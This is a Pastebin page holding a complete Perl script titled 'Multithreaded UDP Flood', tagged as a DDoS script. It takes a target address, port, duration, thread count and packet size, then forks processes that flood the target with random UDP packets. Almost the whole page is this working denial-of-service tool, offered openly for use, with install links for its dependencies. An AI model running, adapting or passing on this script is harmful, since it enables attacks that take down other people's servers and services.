scripts

Multithreaded UDP Flood

May 19th, 2014
1,293
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.08 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #Tags: DDOS scripts, flood perl, UDP, dos
  3. # Written by Ammar.pw
  4. #Install dependencies http://pastebin.com/QCEBRNew
  5.  
  6. # rpm -i http://pkgs.repoforge.org/perl-Time-HiRes/perl-Time-HiRes-1.9707-1.el5.rf.x86_64.rpm
  7.             #  ____,__, _,__, _, ____,____,
  8.             # (-/_|(-|\/|(-|\/| (-/_|(-|__)
  9.             # _/  |,_| _|,_| _|,_/  |,_|  \,
  10.             #(     (     (     (     (    
  11. use Term::ANSIColor;
  12. use IO::Socket;
  13. use Parallel::ForkManager;
  14. use Time::HiRes qw(nanosleep);
  15.  
  16. $ARGC=@ARGV;
  17. sub rand_char
  18. {
  19.     my @chars=('a'..'z','A'..'Z','0'..'9','_');
  20.     return $chars[rand @chars];
  21. }
  22. sub hit
  23. {
  24.     my ($endtime, $message, $port, $iaddr, $deli) = (@_);
  25.     if($deli == 0)
  26.     {
  27.         while(time < $endtime)
  28.         {
  29.             send(crazy, $message, 0, sockaddr_in($port, $iaddr));
  30.         }
  31.     }
  32.     else
  33.     {
  34.         while(time < $endtime)
  35.         {
  36.             send(crazy, $message, 0, sockaddr_in($port, $iaddr));
  37.             nanosleep($deli);
  38.         }
  39.     }
  40.  
  41. }
  42. if ($ARGC !=6)
  43. {
  44.     printf "perl $0 <target> <port> <time(seconds)> <threads> <size> <deli(nanosecs)>\n";
  45.     exit(1);
  46. }
  47. my ($target,$port,$size,$time);
  48.     $target=$ARGV[0];
  49.     $port=$ARGV[1];
  50.     $time=$ARGV[2];
  51.     $threads=$ARGV[3];
  52.     $size=$ARGV[4];
  53.     $deli=$ARGV[5];
  54.  
  55.  
  56. my $flood = IO::Socket::INET->new(
  57.     Proto    => 'udp',
  58.     PeerPort => $port,
  59.     PeerAddr => $target,
  60. ) or die "Could not create socket: $!\n";
  61.  
  62. my $hit_limit = new Parallel::ForkManager($threads);
  63. $iaddr = inet_aton("$target");
  64. socket(crazy, PF_INET, SOCK_DGRAM, 17);
  65. for ($y = 0; $y < $size; $y++)
  66. {
  67.     $message= $message . rand_char();
  68. }
  69.  
  70.  
  71.  $endtime = time + $time;
  72.     printf ("\n");
  73.     print colored( '          Initating flood on '.$target.' with port '.$port.' for '.$time.' seconds', 'red' ), "\n";
  74.     printf ("\n");
  75.     print colored( '          Press Ctrl + C to exit flood', 'green' ), "\n";
  76.     printf ("\n");
  77.  while(time < $endtime)
  78.  {
  79.     $hit_limit->start and next;
  80.     hit($endtime, $message, $port, $iaddr, $deli);
  81.     $hit_limit->finish;
  82.  }
Advertisement
Add Comment
Please, Sign In to add comment